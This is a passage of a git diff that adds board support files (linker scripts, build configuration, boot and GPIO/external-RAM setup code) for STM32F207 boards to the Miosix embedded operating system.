@@ -0,0 +1,22 @@ +/* + * Linker script for stm32f207 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +/* No _process_pool_size as it's fixed to the size of ram2 */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + ram1(wx) : ORIGIN = 0x20000000, LENGTH = 128K + ram2(wx) : ORIGIN = 0x64000000, LENGTH = 2M +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-2ram-separate-pool.ld diff --git a/miosix/arch/board/stm32f207ig_stm3220g-eval/processes.ld b/miosix/arch/board/stm32f207ig_stm3220g-eval/processes.ld new file mode 100644 index 000000000..cbda9b284 --- /dev/null +++ b/miosix/arch/board/stm32f207ig_stm3220g-eval/processes.ld @@ -0,0 +1,17 @@ +/* + * Linker script for stm32f207 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_process_pool_size = 96K; + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + ram(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f207ig_stm3220g-eval/unikernel-all-in-xram.ld b/miosix/arch/board/stm32f207ig_stm3220g-eval/unikernel-all-in-xram.ld new file mode 100644 index 000000000..e3c578c0b --- /dev/null +++ b/miosix/arch/board/stm32f207ig_stm3220g-eval/unikernel-all-in-xram.ld @@ -0,0 +1,16 @@ +/* + * Linker script for stm32f207 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + ram(wx) : ORIGIN = 0x64000000, LENGTH = 2M +} + +/* Mark ram as being an external RAM */ +_xram_start = ORIGIN(ram); +_xram_size = LENGTH(ram); + +INCLUDE ldscripts/miosix-all-in-xram.ld diff --git a/miosix/arch/board/stm32f207ig_stm3220g-eval/unikernel-xram-heap.ld b/miosix/arch/board/stm32f207ig_stm3220g-eval/unikernel-xram-heap.ld new file mode 100644 index 000000000..9be0b13af --- /dev/null +++ b/miosix/arch/board/stm32f207ig_stm3220g-eval/unikernel-xram-heap.ld @@ -0,0 +1,18 @@ +/* + * Linker script for stm32f207 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + ram1(wx) : ORIGIN = 0x20000000, LENGTH = 128K + ram2(wx) : ORIGIN = 0x64000000, LENGTH = 2M +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-2ram-separate-heap.ld diff --git a/miosix/arch/board/stm32f207ig_stm3220g-eval/unikernel-xram.ld b/miosix/arch/board/stm32f207ig_stm3220g-eval/unikernel-xram.ld new file mode 100644 index 000000000..5c542c0b6 --- /dev/null +++ b/miosix/arch/board/stm32f207ig_stm3220g-eval/unikernel-xram.ld @@ -0,0 +1,18 @@ +/* + * Linker script for stm32f207 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + ram1(wx) : ORIGIN = 0x20000000, LENGTH = 128K + ram2(wx) : ORIGIN = 0x64000000, LENGTH = 2M +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-2ram-separate-irqstack.ld diff --git a/miosix/arch/board/stm32f207ig_stm3220g-eval/unikernel.ld b/miosix/arch/board/stm32f207ig_stm3220g-eval/unikernel.ld new file mode 100644 index 000000000..90897a436 --- /dev/null +++ b/miosix/arch/board/stm32f207ig_stm3220g-eval/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f207 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + ram(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f207ze_als_camboard/CMakeLists.txt b/miosix/arch/board/stm32f207ze_als_camboard/CMakeLists.txt new file mode 100644 index 000000000..500face70 --- /dev/null +++ b/miosix/arch/board/stm32f207ze_als_camboard/CMakeLists.txt @@ -0,0 +1,32 @@ +## +## CMakeLists.txt for board stm32f207ze_als_camboard +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f2) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_ALS_CAMBOARD) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_ALS_CAMBOARD) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE stm32flash -w -v /dev/ttyUSB0) diff --git a/miosix/arch/board/stm32f207ze_als_camboard/Makefile.inc b/miosix/arch/board/stm32f207ze_als_camboard/Makefile.inc new file mode 100644 index 000000000..e5e244483 --- /dev/null +++ b/miosix/arch/board/stm32f207ze_als_camboard/Makefile.inc @@ -0,0 +1,31 @@ +## +## Makefile for board stm32f207ze_als_camboard +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f2 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_ALS_CAMBOARD +BOARD_CXXFLAGS := -D_BOARD_ALS_CAMBOARD + +## XRAM is always enabled in this board +XRAM += -D__ENABLE_XRAM + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 diff --git a/miosix/arch/board/stm32f207ze_als_camboard/boot.cpp b/miosix/arch/board/stm32f207ze_als_camboard/boot.cpp new file mode 100644 index 000000000..17304ea33 --- /dev/null +++ b/miosix/arch/board/stm32f207ze_als_camboard/boot.cpp @@ -0,0 +1,136 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/gpio.h" +#include "interfaces/arch_registers.h" + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + //Currently we use the code provided by ST (with our modifications) to + //handle the clock initialization process. + SystemInit(); + + //Enable all gpios now since we'll need them to initialize the RAM later + //anyway + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOGEN; + RCC_SYNC(); + //Port config (H=high, L=low, PU=pullup, PD=pulldown) + // | PORTA | PORTB | PORTC | PORTD | PORTE | PORTF | PORTG | + //--+---------+---------+---------+---------+---------+---------+---------+ + // 0| IN PD | IN PD | OUT L | AF12 | AF12 | AF12 | AF12 | + // 1| IN PD | IN PD | IN | AF12 | AF12 | AF12 | AF12 | + // 2| IN PD | IN | IN | IN PD | IN PD | AF12 | AF12 | + // 3| IN PD | AF5 | IN PD | IN PD | IN PD | AF12 | AF12 | + // 4| AF13 | AF5 | IN PD | AF12 | AF13 | AF12 | AF12 | + // 5| IN PD | AF5 | IN PD | AF12 | AF13 | AF12 | AF12 | + // 6| AF13 | AF13 | AF13 | IN | AF13 | IN PD | IN PD | + // 7| IN PD | AF13 | AF13 | AF12 | AF12 | IN PD | IN PD | + // 8| AF0 | OUT H | AF13 | AF12 | AF12 | IN PD | IN PD | + // 9| AF7 | IN PD | AF13 | AF12 | AF12 | IN PD | IN PD | + //10| AF7 | IN PD | AF6 | AF12 | AF12 | IN PD | IN PD | + //11| IN PD | IN PD | AF6 | AF12 | AF12 | IN PD | IN PD | + //12| IN PD | IN PD | AF6 | AF12 | AF12 | AF12 | IN PD | + //13| AF0 PU | IN PD | IN | AF12 | AF12 | AF12 | IN PD | + //14| AF0 PD | IN PD | IN PD | AF12 | AF12 | AF12 | IN PD | + //15| AF6 PU | IN PD | IN PD | AF12 | AF12 | AF12 | IN PD | + + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; //Except SRAM GPIOs that run @ 100MHz + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xffffefaf; + GPIOE->OSPEEDR=0xffffeaaf; + GPIOF->OSPEEDR=0xffaaafff; + GPIOG->OSPEEDR=0xaaaaafff; + + GPIOA->MODER=0xa82a2200; + GPIOB->MODER=0x0001aa80; + GPIOC->MODER=0x02aaa001; + GPIOD->MODER=0xaaaa8a0a; + GPIOE->MODER=0xaaaaaa0a; + GPIOF->MODER=0xaa000aaa; + GPIOG->MODER=0x00000aaa; + + GPIOA->PUPDR=0x668088aa; + GPIOB->PUPDR=0xaaa8000a; + GPIOC->PUPDR=0xa0000a80; + GPIOD->PUPDR=0x000000a0; + GPIOE->PUPDR=0x000000a0; + GPIOF->PUPDR=0x00aaa000; + GPIOG->PUPDR=0xaaaaa000; + + GPIOA->ODR=0x00000000; + GPIOB->ODR=0x00000100; + GPIOC->ODR=0x00002000; + GPIOD->ODR=0x00000000; + GPIOE->ODR=0x00000000; + GPIOF->ODR=0x00000000; + GPIOG->ODR=0x00000000; + + GPIOA->AFR[0]= 0 | 0<<4 | 0<<8 | 0<<12 | 13<<16 | 0<<20 | 13<<24 | 0<<28; + GPIOA->AFR[1]= 0 | 7<<4 | 7<<8 | 0<<12 | 0<<16 | 0<<20 | 0<<24 | 6<<28; + GPIOB->AFR[0]= 0 | 0<<4 | 0<<8 | 5<<12 | 5<<16 | 5<<20 | 13<<24 | 13<<28; + GPIOB->AFR[1]= 0 | 0<<4 | 0<<8 | 0<<12 | 0<<16 | 0<<20 | 0<<24 | 0<<28; + GPIOC->AFR[0]= 0 | 0<<4 | 0<<8 | 0<<12 | 0<<16 | 0<<20 | 13<<24 | 13<<28; + GPIOC->AFR[1]=13 | 13<<4 | 6<<8 | 6<<12 | 6<<16 | 0<<20 | 0<<24 | 0<<28; + GPIOD->AFR[0]=12 | 12<<4 | 0<<8 | 0<<12 | 12<<16 | 12<<20 | 0<<24 | 12<<28; + GPIOD->AFR[1]=12 | 12<<4 | 12<<8 | 12<<12 | 12<<16 | 12<<20 | 12<<24 | 12<<28; + GPIOE->AFR[0]=12 | 12<<4 | 0<<8 | 0<<12 | 13<<16 | 13<<20 | 13<<24 | 12<<28; + GPIOE->AFR[1]=12 | 12<<4 | 12<<8 | 12<<12 | 12<<16 | 12<<20 | 12<<24 | 12<<28; + GPIOF->AFR[0]=12 | 12<<4 | 12<<8 | 12<<12 | 12<<16 | 12<<20 | 0<<24 | 0<<28; + GPIOF->AFR[1]= 0 | 0<<4 | 0<<8 | 0<<12 | 12<<16 | 12<<20 | 12<<24 | 12<<28; + GPIOG->AFR[0]=12 | 12<<4 | 12<<8 | 12<<12 | 12<<16 | 12<<20 | 0<<24 | 0<<28; + GPIOG->AFR[1]= 0 | 7<<4 | 7<<8 | 10<<12 | 10<<16 | 0<<20 | 0<<24 | 0<<28; + + //Configure FSMC for IS62WC51216BLL-55 + RCC->AHB3ENR=RCC_AHB3ENR_FSMCEN; + RCC_SYNC(); + volatile uint32_t& BCR1=FSMC_Bank1->BTCR[0]; + volatile uint32_t& BTR1=FSMC_Bank1->BTCR[1]; + volatile uint32_t& BWTR1=FSMC_Bank1E->BWTR[0]; + BCR1= FSMC_BCR1_EXTMOD //Extended mode + | FSMC_BCR1_WREN //Write enabled + | FSMC_BCR1_MWID_0 //16 bit bus + | FSMC_BCR1_MBKEN; //Bank enabled + BTR1= FSMC_BTR1_DATAST_2 //DATAST=4 + | FSMC_BTR1_ADDSET_0 //ADDSET=3 + | FSMC_BTR1_ADDSET_1; + //Read takes 7 + 2 (min time CS high) = 9 cycles + BWTR1=FSMC_BWTR1_DATAST_2 + | FSMC_BWTR1_DATAST_0 //DATAST=5 + | FSMC_BWTR1_ADDSET_0;//ADDSET=1 + //Write takes 6 + 1 (WE high to CS high) + 1 (min time CS high) = 8 cycles +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f207ze_als_camboard/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f207ze_als_camboard/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..ee722713d --- /dev/null +++ b/miosix/arch/board/stm32f207ze_als_camboard/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,20 @@ +#pragma once + +#define STM32F207xx +#include "CMSIS/Device/ST/STM32F2xx/Include/stm32f2xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F2xx/Include/system_stm32f2xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f20x,f21x RCC synchronization is required per the device errata +//(ES0005 section 2.1.11). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 80, so there are 81 +#define MIOSIX_NUM_PERIPHERAL_IRQ 81 diff --git a/miosix/arch/board/stm32f207ze_als_camboard/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f207ze_als_camboard/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..feafcbd88 --- /dev/null +++ b/miosix/arch/board/stm32f207ze_als_camboard/interfaces-impl/bsp.cpp @@ -0,0 +1,100 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/dcc.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //RAM and GPIO have been initialized during boot + IRQsetDefaultConsole(intrusive_ref_ptr( + #ifndef STDOUT_REDIRECTED_TO_DCC + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma) + #else //STDOUT_REDIRECTED_TO_DCC + new ARMDCC + #endif //STDOUT_REDIRECTED_TO_DCC + )); +} + +void bspInit2() +{ +// #ifdef WITH_FILESYSTEM +// basicFilesystemSetup(); +// #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + FastGlobalIrqLock::lock(); + for(;;) __WFI(); +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f207ze_als_camboard/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f207ze_als_camboard/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..142cbb584 --- /dev/null +++ b/miosix/arch/board/stm32f207ze_als_camboard/interfaces-impl/bsp_impl.h @@ -0,0 +1,44 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "hwmapping.h" +#include "drivers/stm32_hardware_rng.h" + +namespace miosix { + +inline void ledOn() {} +inline void ledOff() {} + +} diff --git a/miosix/arch/board/stm32f207ze_als_camboard/interfaces-impl/hwmapping.h b/miosix/arch/board/stm32f207ze_als_camboard/interfaces-impl/hwmapping.h new file mode 100644 index 000000000..6a67c9d05 --- /dev/null +++ b/miosix/arch/board/stm32f207ze_als_camboard/interfaces-impl/hwmapping.h @@ -0,0 +1,174 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +namespace miosix { + +//External SRAM, connected to FSMC +namespace sram { +typedef Gpio cs1; +typedef Gpio oe; +typedef Gpio we; +typedef Gpio lb; +typedef Gpio ub; +typedef Gpio d0; +typedef Gpio d1; +typedef Gpio d2; +typedef Gpio d3; +typedef Gpio d4; +typedef Gpio d5; +typedef Gpio d6; +typedef Gpio d7; +typedef Gpio d8; +typedef Gpio d9; +typedef Gpio d10; +typedef Gpio d11; +typedef Gpio d12; +typedef Gpio d13; +typedef Gpio d14; +typedef Gpio d15; +typedef Gpio a0; +typedef Gpio a1; +typedef Gpio a2; +typedef Gpio a3; +typedef Gpio a4; +typedef Gpio a5; +typedef Gpio a6; +typedef Gpio a7; +typedef Gpio a8; +typedef Gpio a9; +typedef Gpio a10; +typedef Gpio a11; +typedef Gpio a12; +typedef Gpio a13; +typedef Gpio a14; +typedef Gpio a15; +typedef Gpio a16; +typedef Gpio a17; +typedef Gpio a18; +} + +//640x480 camera +namespace camera { +typedef Gpio cd0; +typedef Gpio cd1; +typedef Gpio cd2; +typedef Gpio cd3; +typedef Gpio cd4; +typedef Gpio cd5; +typedef Gpio cd6; +typedef Gpio cd7; +typedef Gpio vsync; +typedef Gpio hsync; +typedef Gpio dclk; +typedef Gpio exclk; +typedef Gpio reset; +typedef Gpio sda; +typedef Gpio scl; +} + +//2MBytes SPI flash +namespace flash { +typedef Gpio sck; +typedef Gpio miso; +typedef Gpio mosi; +typedef Gpio cs; +} + +//Board to board communication, SPI based +namespace comm { +typedef Gpio sck; +typedef Gpio miso; +typedef Gpio mosi; +typedef Gpio cs; +typedef Gpio irq; +} + +//An unpopulated USB connection +namespace usb { +typedef Gpio dm; +typedef Gpio dp; +} + +//Serial port +namespace serial { +typedef Gpio tx; +typedef Gpio rx; +} + +//Unused pins, configured as pulldown +namespace unused { +typedef Gpio u1; +typedef Gpio u2; +typedef Gpio u3; +typedef Gpio u4; +typedef Gpio u5; +typedef Gpio u6; +typedef Gpio u7; +typedef Gpio u8; +typedef Gpio u9; //Actually swdio +typedef Gpio u10; //Actually swclk +typedef Gpio u11; //Connected to comm::cs as a bug +typedef Gpio u12; +typedef Gpio u13; +typedef Gpio u14; //Connected to GND as it is BOOT1 +typedef Gpio u15; +typedef Gpio u16; +typedef Gpio u17; +typedef Gpio u18; +typedef Gpio u19; +typedef Gpio u20; +typedef Gpio u21; +typedef Gpio u22; +typedef Gpio u23; +typedef Gpio u24; +typedef Gpio u25; +typedef Gpio u26; //Connected to comm::cs to simplify PCB routing +typedef Gpio u27; +typedef Gpio u28; +typedef Gpio u29; +typedef Gpio u30; +typedef Gpio u31; +typedef Gpio u32; +typedef Gpio u33; +typedef Gpio u34; +typedef Gpio u35; +typedef Gpio u36; +typedef Gpio u37; +typedef Gpio u38; +typedef Gpio u39; +typedef Gpio u40; +typedef Gpio u41; +typedef Gpio u42; +typedef Gpio u43; +typedef Gpio u44; +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f207ze_als_camboard/unikernel.ld b/miosix/arch/board/stm32f207ze_als_camboard/unikernel.ld new file mode 100644 index 000000000..9a7c5f662 --- /dev/null +++ b/miosix/arch/board/stm32f207ze_als_camboard/unikernel.ld @@ -0,0 +1,20 @@ +/* + * Linker script for stm32f207 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +/* + * NOTE: This board has an external RAM, but used as hardcoded buffers in a + * legacy application codebase + */ +_xram_start = 0x60000000; +_xram_size = 1M; + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f207zg_ethboard_v2/CMakeLists.txt b/miosix/arch/board/stm32f207zg_ethboard_v2/CMakeLists.txt new file mode 100644 index 000000000..0fc048d61 --- /dev/null +++ b/miosix/arch/board/stm32f207zg_ethboard_v2/CMakeLists.txt @@ -0,0 +1,40 @@ +## +## CMakeLists.txt for board stm32f207zg_ethboard_v2 +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f2) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + # 1) Code in FLASH, Kernel in internal RAM, Process pool in XRAM + processes-xram.ld -DWITH_PROCESSES + # 2) Code in FLASH, IRQ stack, .data, .bss in internal RAM, heap in external RAM + unikernel-xram-heap.ld + # 4) Code + stack + heap in external RAM, Code runs *very* slow. Works only + # with a booloader that forwards interrrupts @ 0x60000000 + # (see tools/bootloaders for one). + unikernel-all-in-xram.ld -D__CODE_IN_XRAM +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT processes-xram.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sdmmc/stm32f2_f4_f7_sd.cpp + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_ETHBOARDV2) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_ETHBOARDV2) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE ...) diff --git a/miosix/arch/board/stm32f207zg_ethboard_v2/Makefile.inc b/miosix/arch/board/stm32f207zg_ethboard_v2/Makefile.inc new file mode 100644 index 000000000..75d26116d --- /dev/null +++ b/miosix/arch/board/stm32f207zg_ethboard_v2/Makefile.inc @@ -0,0 +1,37 @@ +## +## Makefile for board stm32f207zg_ethboard_v2 +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f2 + +## Select linker script +#LINKER_SCRIPT := already selected in board options + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +arch/drivers/sdmmc/stm32f2_f4_f7_sd.cpp \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_ETHBOARDV2 +BOARD_CXXFLAGS := -D_BOARD_ETHBOARDV2 + +## XRAM is always enabled in this board +XRAM += -D__ENABLE_XRAM + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +ifeq ($(LINKER_SCRIPT),unikernel-all-in-xram.ld) + PROG ?= $(KPATH)/../tools/bootloaders/stm32/pc_loader/pc_loader \ + /dev/ttyUSB0 main.bin +else + PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 +endif diff --git a/miosix/arch/board/stm32f207zg_ethboard_v2/boot.cpp b/miosix/arch/board/stm32f207zg_ethboard_v2/boot.cpp new file mode 100644 index 000000000..ce595a92b --- /dev/null +++ b/miosix/arch/board/stm32f207zg_ethboard_v2/boot.cpp @@ -0,0 +1,125 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/gpio.h" +#include "interfaces/arch_registers.h" + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + //Currently we use the code provided by ST (with our modifications) to + //handle the clock initialization process. + SystemInit(); + + //Enable all gpios now since we'll need them to initialize the RAM later + //anyway + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOGEN; + RCC_SYNC(); + //Port config (H=high, L=low, PU=pullup, PD=pulldown) + // | PORTA | PORTB | PORTC | PORTD | PORTE | PORTF | 